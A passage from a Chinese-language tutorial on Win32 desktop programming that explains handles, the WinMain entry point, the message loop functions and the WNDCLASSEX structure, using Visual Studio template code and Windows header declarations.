id。<br>指针和句柄的作用有些像，但不完全一样。</p><ul><li>句柄会限制使用者的权限；</li><li>句柄结构不公开</li></ul><p>有了句柄，就可以对它所代表的对象进行操作。</p><p>但注意句柄不是对象本身。关于这个可以理解成：用钥匙可以控制（开）门，但钥匙本身不是门，并且门外无法用螺丝刀（指针）拆门。</p><hr><p>Windows 操作系统基于消息控制机制。用户与系统之间的交互，程序与系统之间的交互，都是通过发送和接收消息来完成的。</p><p>程序在运行时，会不断收到操作系统发来的消息，程序需要使用判断语句（一般是 switch）来筛选并判断用户的操作（如：点击了某个按钮）进而做出正确的回应（如：执行一个函数）。</p><hr><p>nullptr 是字面值常量，表示空指针，C++ 专属；<br>NULL 是宏定义，在 C 中表示 (void*)0，在 C++ 中表示 0（int 型）。</p><p>下文提到的所有 nullptr 在 C 语言中都可以用 NULL 代替。</p><hr><p>Win32 API 的各种 ID、消息名之类的其实都是宏定义。</p><p>如：</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">define</span> WM_COMMAND                      0x0111</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> WM_PAINT                        0x000F</span></span><br></pre></td></tr></table></figure><p>写程序时直接写宏对应的整数也不是不能用。</p><p>宏定义的意义在于让程序读起来更清晰。</p><hr><p>C/C++ 前置声明。</p><p>举个例子：  </p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">ATOM <span class="title">MyRegisterClass</span><span class="params">(HINSTANCE hInstance)</span></span>; <span class="comment">// 重要</span></span><br><span class="line"></span><br><span class="line">。。。</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> APIENTRY <span class="title">wWinMain</span><span class="params">(。。。)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">。。。</span><br><span class="line"><span class="built_in">MyRegisterClass</span>(hInstance);</span><br><span class="line">。。。</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function">ATOM <span class="title">MyRegisterClass</span><span class="params">(HINSTANCE hInstance)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">。。。</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>且两个 MyRegisterClass 的 (HINSTANCE hInstance) 部分必须完全一样。</p><hr><p>C/C++ 中，使用函数名时不带括号，就相当于使用指向这个函数的指针。</p><h2 id="三、- 完整的创建一个窗口"><a href="# 三、- 完整的创建一个窗口" class="headerlink" title="三、 完整的创建一个窗口"></a>三、 完整的创建一个窗口</h2><p>Win32 API 创建窗口的过程是：  </p><p>WinMain 函数（入口点，注册窗口类 =&gt; 创建窗口 =&gt; 消息循环）<br>窗口过程函数（名字可自定义，处理消息）</p><p>这些代码几乎是固定的，还很长。因此，用 VS 创建项目时可以直接选择 Windows 桌面应用程序 来使用微软提供的模板。</p><p><img src="https://z3.ax1x.com/2021/04/06/c3iTRH.png" alt="创建项目"></p><p>创建完成后，VS 的解决方案资源管理器里应该是这样的：</p><p><img src="https://z3.ax1x.com/2021/04/06/c3k9AK.png" alt="创建完成"><br>（“luogu”取决于创建项目时设置的名称）</p><p>现在，来看看 luogu.cpp 中的内容。</p><h3 id="1、-WinMain"><a href="#1、-WinMain" class="headerlink" title="1、 WinMain"></a>1、 WinMain</h3><p>这是 Win32 窗口程序的入口点，相当于 C++ 控制台程序的 main()。VS 项目属性中的 /SUBSYSTEM 可以控制程序的入口点。<br>比如：</p><table><thead><tr><th align="center">子系统</th><th align="center">含义</th></tr></thead><tbody><tr><td align="center">/SUBSYSTEM:CONSOLE</td><td align="center">控制台</td></tr><tr><td align="center">/SUBSYSTEM:WINDOWS</td><td align="center">窗口</td></tr></tbody></table><p>在 Unicode 字符集中，这个函数叫做 wWinMain。 </p><p>TCHAR.H 中的定义的简化版：</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">ifdef</span> _UNICODE </span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> _tWinMain wWinMain </span></span><br><span class="line"><span class="meta">#<span class="keyword">else</span> </span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> _tWinMain WinMain </span></span><br><span class="line"><span class="meta">#<span class="keyword">endif</span></span></span><br></pre></td></tr></table></figure><p>WinMain 的定义：  </p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">int</span> APIENTRY <span class="title">wWinMain</span><span class="params">(_In_ HINSTANCE hInstance,</span></span></span><br><span class="line"><span class="params"><span class="function">                     _In_opt_ HINSTANCE hPrevInstance,</span></span></span><br><span class="line"><span class="params"><span class="function">                     _In_ LPWSTR    lpCmdLine,</span></span></span><br><span class="line"><span class="params"><span class="function">                     _In_ <span class="type">int</span>       nCmdShow)</span></span></span><br></pre></td></tr></table></figure><p>这个函数定义时带了一个 APIENTRY，看定义：  </p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">define</span> CALLBACK    __stdcall</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> WINAPI      __stdcall</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> WINAPIV     __cdecl</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> APIENTRY    WINAPI</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> APIPRIVATE  __stdcall</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> PASCAL      __stdcall</span></span><br></pre></td></tr></table></figure><p>上述下划线开头的关键字是函数调用约定，代表了汇编语言层面函数的调用方法（如何传参之类的）。</p><p>通过这些宏的字面意义，能发现 WinMain 这个函数是由系统调用的，我们只管把它定义出来并写好里面的代码就行了。</p><p>虽然这个函数由系统调用，但我认为了解一下它的每个参数的意义还是有必要的。</p><h4 id="1-、-hInstance"><a href="#1-、-hInstance" class="headerlink" title="(1)、 hInstance"></a>(1)、 hInstance</h4><p>程序当前实例的句柄。</p><h4 id="2-、-hPrevInstance"><a href="#2-、-hPrevInstance" class="headerlink" title="(2)、 hPrevInstance"></a>(2)、 hPrevInstance</h4><p>程序上一个实例的句柄。当同一个程序打开两次时，第一次打开的窗口就是上一个实例的窗口。</p><p>此参数已废弃，逆向 msvcrt 即可发现，运行库总是将此参数设为 0。</p><h4 id="3-、-lpCmdLine"><a href="#3-、-lpCmdLine" class="headerlink" title="(3)、 lpCmdLine"></a>(3)、 lpCmdLine</h4><p>类似于控制台程序中的 argv，但不能像 argv 那样根据空格自动拆分传入的参数。</p><p>比如：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">C:\&gt;test.exe 1 2 3 a b cd a</span><br></pre></td></tr></table></figure><p>lpCmdLine 的值就是 “1 2 3 a b cd a”</p><p>（懂 JS / PHP 的读者可以理解成 lpCmdLine 是 JavaScript 的 location.search，argv[] 是 PHP 的 $_GET[]。当然，不考虑数据类型）</p><h4 id="4-、-nCmdShow"><a href="#4-、-nCmdShow" class="headerlink" title="(4)、 nCmdShow"></a>(4)、 nCmdShow</h4><p>指定程序的窗口如何显示。  </p><p>用户在使用程序时可以手动改变这个参数的值：</p><p><img src="https://z3.ax1x.com/2021/04/06/c3k7DI.png" alt="nCmdShow"></p><p>看看它可能的值和对应的宏</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">define</span> SW_HIDE             0</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> SW_SHOWNORMAL       1</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> SW_NORMAL           1</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> SW_SHOWMINIMIZED    2</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> SW_SHOWMAXIMIZED    3</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> SW_MAXIMIZE         3</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> SW_SHOWNOACTIVATE   4</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> SW_SHOW             5</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> SW_MINIMIZE         6</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> SW_SHOWMINNOACTIVE  7</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> SW_SHOWNA           8</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> SW_RESTORE          9</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> SW_SHOWDEFAULT      10</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> SW_FORCEMINIMIZE    11</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> SW_MAX              11</span></span><br></pre></td></tr></table></figure><p>这些值在一般程序中并不需要手动指定，直接使用这个传过来的参数就行。不过手动指定一般也不会有什么问题。</p><hr><p>注意：因为 C++ 的函数重载，以及要保证堆栈平衡，所以 WinMain 的定义必须原封不动的照抄 MSDN。</p><p>定义完了 WinMain，再来看看微软给我们的示例中 WinMain 都干了哪些事。</p><h3 id="UNREFERENCED-PARAMETER"><a href="#UNREFERENCED-PARAMETER" class="headerlink" title="UNREFERENCED_PARAMETER"></a>UNREFERENCED_PARAMETER</h3><p>作用：告诉编译器这个变量已经使用了，不用报警告。</p><p>这个宏后面跟的变量在前面已经说了，一个是已经没用的参数，一个是最简流程用不上的命令行参数。<br>MSVC 用最高级别的警告编译时，如果检测到有变量定义了但是未使用时会报 warning C4100，这个宏可以让编译器忽略它。</p><h3 id="LoadString"><a href="#LoadString" class="headerlink" title="LoadString"></a>LoadString</h3><p>作用：初始化全局字符串。<del>废话，微软注释原话</del></p><p>把资源文件中的字符串放到 cpp 文件的变量中。（个人理解）<br>应该主要用于多语言。</p><p>有两个版本，且定义不同。<br>看定义：  </p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">WINUSERAPI</span></span><br><span class="line"><span class="function"><span class="type">int</span></span></span><br><span class="line"><span class="function">WINAPI</span></span><br><span class="line"><span class="function"><span class="title">LoadStringA</span><span class="params">(</span></span></span><br><span class="line"><span class="params"><span class="function">    _In_opt_ HINSTANCE hInstance,</span></span></span><br><span class="line"><span class="params"><span class="function">    _In_ UINT uID,</span></span></span><br><span class="line"><span class="params"><span class="function">    _Out_writes_to_(cchBufferMax,<span class="keyword">return</span> + <span class="number">1</span>) LPSTR lpBuffer,</span></span></span><br><span class="line"><span class="params"><span class="function">    _In_ <span class="type">int</span> cchBufferMax</span></span></span><br><span class="line"><span class="params"><span class="function">    )</span></span>;</span><br><span class="line"></span><br><span class="line"><span class="function">WINUSERAPI</span></span><br><span class="line"><span class="function"><span class="type">int</span></span></span><br><span class="line"><span class="function">WINAPI</span></span><br><span class="line"><span class="function"><span class="title">LoadStringW</span><span class="params">(</span></span></span><br><span class="line"><span class="params"><span class="function">    _In_opt_ HINSTANCE hInstance,</span></span></span><br><span class="line"><span class="params"><span class="function">    _In_ UINT uID,</span></span></span><br><span class="line"><span class="params"><span class="function">    _Out_writes_to_(cchBufferMax,<span class="keyword">return</span> + <span class="number">1</span>) LPWSTR lpBuffer,</span></span></span><br><span class="line"><span class="params"><span class="function">    _In_ <span class="type">int</span> cchBufferMax</span></span></span><br><span class="line"><span class="params"><span class="function">    )</span></span>;</span><br></pre></td></tr></table></figure><h4 id="1-、-hInstance-1"><a href="#1-、-hInstance-1" class="headerlink" title="(1)、 hInstance"></a>(1)、 hInstance</h4><p>当前实例句柄。</p><h4 id="2-、-uID"><a href="#2-、-uID" class="headerlink" title="(2)、 uID"></a>(2)、 uID</h4><p>看图按顺序找：<br><img src="https://z3.ax1x.com/2021/04/06/c3A0dP.md.png" alt="uID">  </p><h4 id="3-、-lpBuffer"><a href="#3-、-lpBuffer" class="headerlink" title="(3)、 lpBuffer"></a>(3)、 lpBuffer</h4><p>接受资源文件中的字符串的变量名。</p><p>两个版本的不同之处，主要是数据类型差异。  </p><p>ANSI 版本这里需要窄字符型变量，Unicode 版本这里要宽字符型变量。</p><h4 id="4-、-cchBufferMax"><a href="#4-、-cchBufferMax" class="headerlink" title="(4)、 cchBufferMax"></a>(4)、 cchBufferMax</h4><p>lpBuffer 的长度。</p><hr><h3 id="MyRegisterClass"><a href="#MyRegisterClass" class="headerlink" title="MyRegisterClass"></a>MyRegisterClass</h3><p>与窗口类有关，在下一小节细讲。</p><h3 id="InitInstance"><a href="#InitInstance" class="headerlink" title="InitInstance"></a>InitInstance</h3><p>保存实例句柄并创建主窗口，需要我们定义，后面细讲。</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (!<span class="built_in">InitInstance</span> (hInstance, nCmdShow))</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">return</span> FALSE;</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><p>这段主要是为了检测窗口是否创建成功，没成功就直接退出程序了。</p><h3 id="LoadAccelerators"><a href="#LoadAccelerators" class="headerlink" title="LoadAccelerators"></a>LoadAccelerators</h3><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">HACCEL hAccelTable = <span class="built_in">LoadAccelerators</span>(hInstance, <span class="built_in">MAKEINTRESOURCE</span>(IDC_LUOGU));</span><br></pre></td></tr></table></figure><p>作用：加载放在资源文件里的快捷键表（快捷键定义）。</p><p>看图：<br><img src="https://z3.ax1x.com/2021/04/06/c3EhXd.png" alt="快捷键"></p><h3 id="MSG"><a href="#MSG" class="headerlink" title="MSG"></a>MSG</h3><p>消息循环。</p><p>MSG 结构体：</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="keyword">struct</span> <span class="title class_">tagMSG</span> &#123;</span><br><span class="line">    HWND        hwnd;     <span class="comment">// 窗口句柄</span></span><br><span class="line">    UINT        message;  <span class="comment">// 收到的消息</span></span><br><span class="line">    WPARAM      wParam;   <span class="comment">// 消息附加参数</span></span><br><span class="line">    LPARAM      lParam;   <span class="comment">// 消息附加参数</span></span><br><span class="line">    DWORD       time;     <span class="comment">// 消息创建时的时间</span></span><br><span class="line">    POINT       pt;       <span class="comment">// 消息创建时鼠标的位置</span></span><br><span class="line">&#125; MSG, *PMSG, NEAR *NPMSG, FAR *LPMSG;</span><br></pre></td></tr></table></figure><p> <em>例如</em> ：<br>message 可以告诉程序，用户点击了一个按钮，<br>wParam 可以告诉程序，用户具体点击了哪一个按钮。</p><h4 id="GetMessage"><a href="#GetMessage" class="headerlink" title="GetMessage"></a>GetMessage</h4><p>从消息队列中取出消息。当收到 WM_QUIT 这个消息时，返回 0；收到其余消息返回非 0。  </p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">while</span> (<span class="built_in">GetMessage</span>(&amp;msg, <span class="literal">nullptr</span>, <span class="number">0</span>, <span class="number">0</span>))</span><br></pre></td></tr></table></figure><p>就是以此判断程序是否应该退出。</p><p>收到 WM_QUIT =&gt; GetMessage 返回 0 =&gt; while 循环结束 =&gt; 程序退出。</p><p>我的电脑上的 winuser.h 显示 GetMessage 这个函数是有 A、W 两个版本的，但是这两个版本在定义上看起来一模一样，MSDN 上则显示它只有一个版本。此处展示的是 winuser.h 中的宽字符版本：  </p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">WINUSERAPI</span></span><br><span class="line"><span class="function">BOOL</span></span><br><span class="line"><span class="function">WINAPI</span></span><br><span class="line"><span class="function"><span class="title">GetMessageW</span><span class="params">(</span></span></span><br><span class="line"><span class="params"><span class="function">    _Out_ LPMSG lpMsg,          <span class="comment">// 指向 MSG 结构的指针</span></span></span></span><br><span class="line"><span class="params"><span class="function">    _In_opt_ HWND hWnd,         <span class="comment">// 窗口句柄，通常为 NULL / nullptr，表示接受当前进程所有窗口的消息。</span></span></span></span><br><span class="line"><span class="params"><span class="function">    _In_ UINT wMsgFilterMin,    <span class="comment">// 指定要获取的消息的最小值，通常设置为 0。</span></span></span></span><br><span class="line"><span class="params"><span class="function">    _In_ UINT wMsgFilterMax)</span></span>;   <span class="comment">// 指定要获取的消息的最大值，通常设置为 0。</span></span><br></pre></td></tr></table></figure><p>当 wMsgFilterMin 和 wMsgFilterMax 均为 0 时，程序接收所有消息。</p><h4 id="TranslateAccelerator"><a href="#TranslateAccelerator" class="headerlink" title="TranslateAccelerator"></a>TranslateAccelerator</h4><p>处理菜单命令的快捷键。如果用户按下了某键，且在指定的快捷键表中有该键的条目，该函数就会将 WM_KEYDOWN 或 WM_SYSKEYDOWN 消息转换为 WM_COMMAND 或 WM_SYSCOMMAND 消息，然后将 WM_COMMAND 或 WM_SYSCOMMAND 消息直接发送到指定的窗口进程。在窗口过程处理完消息之前，TranslateAccelerator 不会返回。（修改自 MSDN）</p><p>这个函数一样有两个版本（MSDN 上也是这么说的），但是我没找到他俩明面上的区别，使用函数时编译器也会自动帮助选择版本，所以这里依然以 W 版本举例。</p><p>看定义：  </p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">WINUSERAPI</span></span><br><span class="line"><span class="function"><span class="type">int</span></span></span><br><span class="line"><span class="function">WINAPI</span></span><br><span class="line"><span class="function"><span class="title">TranslateAcceleratorW</span><span class="params">(</span></span></span><br><span class="line"><span class="params"><span class="function">    _In_ HWND hWnd,         <span class="comment">// 要转换快捷键按键消息的窗口的句柄</span></span></span></span><br><span class="line"><span class="params"><span class="function">    _In_ HACCEL hAccTable,  <span class="comment">// 快捷键表的句柄，来自前面提到过的 LoadAccelerators *</span></span></span></span><br><span class="line"><span class="params"><span class="function">    _In_ LPMSG lpMsg)</span></span>;      <span class="comment">// 指向 MSG 结构体的指针，指向的 MSG 结构体必须经过 GetMessage</span></span><br></pre></td></tr></table></figure><p>* 也可以由 <a href="https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-createacceleratortablea">CreateAcceleratorTable</a> 函数创建</p><p>MSDN 上有这么一句话：当 TranslateAccelerator 返回非零值并且转换了消息时，应用程序不应使用 TranslateMessage 函数再次处理消息。（经谷歌翻译）所以以下这段代码就很好理解了：  </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">if (!TranslateAccelerator(msg.hwnd, hAccelTable, &amp;msg))</span><br><span class="line">&#123;</span><br><span class="line">    TranslateMessage(&amp;msg);</span><br><span class="line">    DispatchMessage(&amp;msg);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>TranslateAccelerator 先判断系统发来的消息是否是关于按键的，不是就直接把消息交给 DispatchMessage 处理（返回 0）；是的话就对比按键消息和快捷键表，有相符的就给对应窗口发去 WM_COMMAND 或 WM_SYSCOMMAND 消息，并在附加参数中指明前面图片里显示的快捷键 ID（返回非 0）; 没符合的就返回 0，让 TranslateMessage 处理这个按键消息。</p><h4 id="TranslateMessage"><a href="#TranslateMessage" class="headerlink" title="TranslateMessage"></a>TranslateMessage</h4><p>翻译剩余的按键消息，包括虚拟键（Windows 定义的关于键盘上各种功能键和鼠标按钮的宏，一般由 VK 开头）为 WM_CHAR 或 WM_DEADCHAR 或 WM_SYSCHAR 或 WM_SYSDEADCHAR 消息，并把消息添加到消息队列里。</p><p>经过 TranslateMessage 处理的按键消息不会丢失。</p><p>定义：  </p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">WINUSERAPI</span></span><br><span class="line"><span class="function">BOOL</span></span><br><span class="line"><span class="function">WINAPI</span></span><br><span class="line"><span class="function"><span class="title">TranslateMessage</span><span class="params">(</span></span></span><br><span class="line"><span class="params"><span class="function">    _In_ CONST MSG *lpMsg)</span></span>;  <span class="comment">// 指向 MSG 结构体的指针，指向的 MSG 结构体必须经过 GetMessage</span></span><br><span class="line">```  </span><br><span class="line"></span><br><span class="line">#### DispatchMessage</span><br><span class="line"></span><br><span class="line">从 GetMessage / TranslateMessage 获得消息并分发给窗口的窗口过程函数（处理消息）。这个窗口过程函数需要我们定义，后面会讲到。</span><br><span class="line"></span><br><span class="line">这个函数依然有两个看不出外在区别的版本，这里依然只展示 W 版本。  </span><br><span class="line">定义：  </span><br><span class="line">```<span class="function">cpp</span></span><br><span class="line"><span class="function">WINUSERAPI</span></span><br><span class="line"><span class="function">LRESULT</span></span><br><span class="line"><span class="function">WINAPI</span></span><br><span class="line"><span class="function"><span class="title">DispatchMessageW</span><span class="params">(</span></span></span><br><span class="line"><span class="params"><span class="function">    _In_ CONST MSG *lpMsg)</span></span>;  <span class="comment">// 指向 MSG 结构体的指针，指向的 MSG 结构体必须经过 GetMessage</span></span><br></pre></td></tr></table></figure><hr><h3 id="return"><a href="#return" class="headerlink" title="return"></a>return</h3><p>return 本身没啥好讲的，重点在 (int) msg.wParam。</p><p>Win32 程序在关闭时也会收到一条消息，这就是为什么有些编辑类软件在点击 X 时会提示内容未保存。</p><p>如果程序确认要退出了，就需要调用另一个函数，这个函数会发送真正的退出消息 WM_QUIT，前面讲过的消息循环会因此而退出。此时 msg 中不是空的，msg.wParam 中正是前面调用 “退出函数” 时往 “退出函数” 里传的参数。</p><p>因此，(int) msg.wParam 就可以让我们自定义程序的退出代码。</p><hr><p>WinMain 函数完整的过了一遍，继续来看看 MyRegisterClass。</p><hr><h3 id="2、-MyRegisterClass"><a href="#2、-MyRegisterClass" class="headerlink" title="2、 MyRegisterClass"></a>2、 MyRegisterClass</h3><p>前面说过，这个函数与窗口类有关。事实上，这个函数就是用来注册窗口类的。</p><p>窗口类是一个属性集，是用于创建窗口的模板。每个窗口类都有一个对应的窗口过程函数，且需要我们指定。所以窗口过程函数的名字可以自定义。</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">ATOM <span class="title">MyRegisterClass</span><span class="params">(HINSTANCE hInstance)</span></span></span><br></pre></td></tr></table></figure><p>注册窗口类这个过程需要程序当前实例的句柄，这也是这个函数唯一的参数。</p><p>ATOM 是非标准数据类型，可以按照第二大节第一小节的方法看它的（套娃式）定义。</p><p>按照微软提供的模板，创建窗口类需要用到 WNDCLASSEXW，这其实是一个结构体。看结尾字母就能知道，它也有 A、W 两个版本。</p><p>定义：  </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line">typedef struct tagWNDCLASSEXA &#123;</span><br><span class="line">    UINT        cbSize;</span><br><span class="line">    /* Win 3.x */</span><br><span class="line">    UINT        style;</span><br><span class="line">    WNDPROC     lpfnWndProc;</span><br><span class="line">    int         cbClsExtra;</span><br><span class="line">    int         cbWndExtra;</span><br><span class="line">    HINSTANCE   hInstance;</span><br><span class="line">    HICON       hIcon;</span><br><span class="line">    HCURSOR     hCursor;</span><br><span class="line">    HBRUSH      hbrBackground;</span><br><span class="line">    LPCSTR      lpszMenuName;</span><br><span class="line">    LPCSTR      lpszClassName;</span><br><span class="line">    /* Win 4.0 */</span><br><span class="line">    HICON       hIconSm;</span><br><span class="line">&#125; WNDCLASSEXA, *PWNDCLASSEXA, NEAR *NPWNDCLASSEXA, FAR *LPWNDCLASSEXA;</span><br><span class="line"></span><br><span class="line">typedef struct tagWNDCLASSEXW &#123;</span><br><span class="line">    UINT        cbSize;</span><br><span class="line">    /* Win 3.x */</span><br><span class="line">    UINT        style;</span><br><span class="line">    WNDPROC     lpfnWndProc;</span><br><span class="line">    int         cbClsExtra;</span><br><span class="line">    int         cbWndExtra;</span><br><span class="line">    HINSTANCE   hInstance;</span><br><span class="line">    HICON       hIcon;</span><br><span class="line">    HCURSOR     hCursor;</span><br><span class="line">    HBRUSH      hbrBackground;</span><br><span class="line">    LPCWSTR     lpszMenuName;</span><br><span class="line">    LPCWSTR     lpszClassName;</span><br><span class="line">    /* Win 4.0 */</span><br><span class="line">    HICON       hIconSm;</span><br><span class="line">&#125; WNDCLASSEXW, *PWNDCLASSEXW, NEAR *NPWNDCLASSEXW, FAR *LPWNDCLASSEXW;</span><br></pre></td></tr></table></figure><p>一项一项来看。</p><h4 id="1、-cbSize"><a href="#1、-cbSize" class="headerlink" title="1、 cbSize"></a>1、 cbSize</h4><p>WNDCLASSEX 的大小，直接用 sizeof(WNDCLASSEX) 就行。</p><h4 id="2、-style"><a href="#2、-style" class="headerlink" title="2、 style"></a>2、 style</h4><p>窗口类的样式，可以任意排列组合。</p><p>一般以 CS 开头，注意不要和其他样式混了。</p><p><a href="https://docs.microsoft.com/en-us/windows/win32/winmsg/window-class-styles">https://docs.microsoft.com/en-us/windows/win32/winmsg/window-class-styles</a></p><p><a href="https://www.cnblogs.com/yunqie/p/6613870.html">https://www.cnblogs.com/yunqie/p/6613870.html</a></p><p>上面第一个链接介绍了所有窗口类样式，第二个是第一个的机器翻译版本。</p><p>一般来说默认的就够用（默认的值代表窗口被遮挡又显示时可以正常显示原有内容）。</p><h4 id="3、-lpfnWndProc"><a href="#3、-lpfnWndProc" class="headerlink" title="3、 lpfnWndProc"></a>3、 lpfnWndProc</h4><p>窗口类对应的窗口过程函数的名称。</p><p>前面说过窗口过程函数的名字可以自定义，只要在这里指定就行。</p><h4 id="4、-cbClsExtra"><a href="#4、-cbClsExtra" class="headerlink" title="4、 cbClsExtra"></a>4、 cbClsExtra</h4><p>窗口类的额外信息，填 0 就行。</p><h4 id="5、-cbWndExtra"><a href="#5、-cbWndExtra" class="headerlink" title="5、 cbWndExtra"></a>5、 cbWndExtra</h4><p>窗口类的额外信息，一般填 0。</p><h4 id="6、-hInstance"><a href="#6、-hInstance" class="headerlink" title="6、 hInstance"></a>6、 hInstance</h4><p>实例的句柄，也就是这个函数的参数。</p><h4 id="7、-hIcon"><a href="#7、-hIcon" class="headerlink" title="7、 hIcon"></a>7、 hIcon</h4><p>程序的图标，可以直接填 0 使用默认图标，也可以依照模板加载资源文件中声明的图标文件：</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wcex.hIcon          = <span class="built_in">LoadIcon</span>(hInstance, <span 